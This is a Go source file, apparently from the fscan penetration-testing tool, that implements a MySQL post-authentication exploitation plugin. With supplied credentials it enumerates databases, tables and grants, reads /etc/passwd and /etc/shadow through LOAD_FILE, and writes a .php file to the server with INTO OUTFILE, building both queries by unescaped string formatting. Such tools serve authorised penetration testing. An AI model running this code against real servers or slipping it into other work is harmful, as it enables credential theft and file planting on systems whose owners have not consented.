package mysql import ( "context" "database/sql" "fmt" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins/base" "strconv" "strings" ) // MySQLExploiter MySQL利用器实现 type MySQLExploiter struct { *base.BaseExploiter connector *MySQLConnector } // NewMySQLExploiter 创建MySQL利用器 func NewMySQLExploiter() *MySQLExploiter { exploiter := &MySQLExploiter{ BaseExploiter: base.NewBaseExploiter("mysql"), connector: NewMySQLConnector(), } // 添加利用方法 exploiter.setupExploitMethods() return exploiter } // setupExploitMethods 设置利用方法 func (e *MySQLExploiter) setupExploitMethods() { // 1. 信息收集 infoMethod := base.NewExploitMethod(base.ExploitDataExtraction, "information_gathering"). WithDescription("收集MySQL服务器信息"). WithPriority(8). WithConditions("has_credentials"). WithHandler(e.exploitInformationGathering). Build() e.AddExploitMethod(infoMethod) // 2. 数据库枚举 enumMethod := base.NewExploitMethod(base.ExploitDataExtraction, "database_enumeration"). WithDescription("枚举数据库和表"). WithPriority(7). WithConditions("has_credentials"). WithHandler(e.exploitDatabaseEnumeration). Build() e.AddExploitMethod(enumMethod) // 3. 用户权限检查 privMethod := base.NewExploitMethod(base.ExploitDataExtraction, "privilege_check"). WithDescription("检查用户权限"). WithPriority(6). WithConditions("has_credentials"). WithHandler(e.exploitPrivilegeCheck). Build() e.AddExploitMethod(privMethod) // 4. 文件读取(如果有FILE权限) fileReadMethod := base.NewExploitMethod(base.ExploitDataExtraction, "file_read"). WithDescription("读取服务器文件"). WithPriority(9). WithConditions("has_credentials"). WithHandler(e.exploitFileRead). Build() e.AddExploitMethod(fileReadMethod) // 5. 文件写入(如果有FILE权限) fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "file_write"). WithDescription("写入文件到服务器"). WithPriority(10). WithConditions("has_credentials"). WithHandler(e.exploitFileWrite). Build() e.AddExploitMethod(fileWriteMethod) } // exploitInformationGathering 信息收集利用 func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { db, err := e.connectWithCredentials(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil } defer db.Close() result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering") // 获取版本信息 version, err := e.getVersion(ctx, db) if err == nil { base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version)) result.Extra["version"] = version } // 获取当前用户 user, err := e.getCurrentUser(ctx, db) if err == nil { base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user)) result.Extra["current_user"] = user } // 获取当前数据库 database, err := e.getCurrentDatabase(ctx, db) if err == nil { base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database)) result.Extra["current_database"] = database } return result, nil } // exploitDatabaseEnumeration 数据库枚举利用 func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { db, err := e.connectWithCredentials(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil } defer db.Close() result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration") // 枚举数据库 databases, err := e.enumerateDatabases(ctx, db) if err == nil && len(databases) > 0 { base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", "))) result.Extra["databases"] = databases } // 枚举表(限制在非系统数据库中) tables, err := e.enumerateTables(ctx, db) if err == nil && len(tables) > 0 { base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables)) result.Extra["tables"] = tables } return result, nil } // exploitPrivilegeCheck 权限检查利用 func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { db, err := e.connectWithCredentials(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil } defer db.Close() result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check") // 检查用户权限 privileges, err := e.getUserPrivileges(ctx, db) if err == nil && len(privileges) > 0 { base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", "))) result.Extra["privileges"] = privileges } // 检查是否有FILE权限 hasFilePriv := e.hasFilePrivilege(privileges) result.Extra["has_file_privilege"] = hasFilePriv if hasFilePriv { base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected")) } return result, nil } // exploitFileRead 文件读取利用 func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { db, err := e.connectWithCredentials(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil } defer db.Close() // 尝试读取常见的敏感文件 filesToRead := []string{ "/etc/passwd", "/etc/shadow", "/etc/hosts", "C:\\Windows\\System32\\drivers\\etc\\hosts", } result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read") hasRead := false for _, file := range filesToRead { content, err := e.readFile(ctx, db, file) if err == nil && content != "" { base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content)) hasRead = true } } if !hasRead { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil } return result, nil } // exploitFileWrite 文件写入利用 func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { db, err := e.connectWithCredentials(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil } defer db.Close() result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write") // 尝试写入测试文件 testContent := "" testFile := "/tmp/mysql_test.php" err = e.writeFile(ctx, db, testFile, testContent) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil } base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile)) base.AddFileToResult(result, testFile) return result, nil } // ============================================================================= // MySQL操作辅助函数 // ============================================================================= // connectWithCredentials 使用凭据连接数据库 func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) { // 解析端口号 port, err := strconv.Atoi(info.Ports) if err != nil { return nil, fmt.Errorf("无效的端口号: %s", info.Ports) } connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password) db, err := sql.Open("mysql", connStr) if err != nil { return nil, err } // 测试连接 if err = db.PingContext(ctx); err != nil { db.Close() return nil, err } return db, nil } // buildConnectionString 构建连接字符串 func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string { if common.Socks5Proxy != "" { return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s", username, password, host, port) } return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s", username, password, host, port) } // getVersion 获取MySQL版本 func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) { var version string err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version) return version, err } // getCurrentUser 获取当前用户 func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) { var user string err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user) return user, err } // getCurrentDatabase 获取当前数据库 func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) { var database string err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database) return database, err } // enumerateDatabases 枚举数据库 func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) { rows, err := db.QueryContext(ctx, "SHOW DATABASES") if err != nil { return nil, err } defer rows.Close() var databases []string for rows.Next() { var dbName string if err := rows.Scan(&dbName); err != nil { continue } databases = append(databases, dbName) } return databases, nil } // enumerateTables 枚举表 func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) { rows, err := db.QueryContext(ctx, ` SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') LIMIT 50 `) if err != nil { return nil, err } defer rows.Close() tables := make(map[string][]string) for rows.Next() { var schema, table string if err := rows.Scan(&schema, &table); err != nil { continue } tables[schema] = append(tables[schema], table) } return tables, nil } // getUserPrivileges 获取用户权限 func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) { rows, err := db.QueryContext(ctx, "SHOW GRANTS") if err != nil { return nil, err } defer rows.Close() var privileges []string for rows.Next() { var grant string if err := rows.Scan(&grant); err != nil { continue } privileges = append(privileges, grant) } return privileges, nil } // hasFilePrivilege 检查是否有FILE权限 func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool { for _, priv := range privileges { if strings.Contains(strings.ToUpper(priv), "FILE") { return true } } return false } // readFile 读取文件 func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) { var content string query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename) err := db.QueryRowContext(ctx, query).Scan(&content) return content, err } // writeFile 写入文件 func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error { query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename) _, err := db.ExecContext(ctx, query) return err }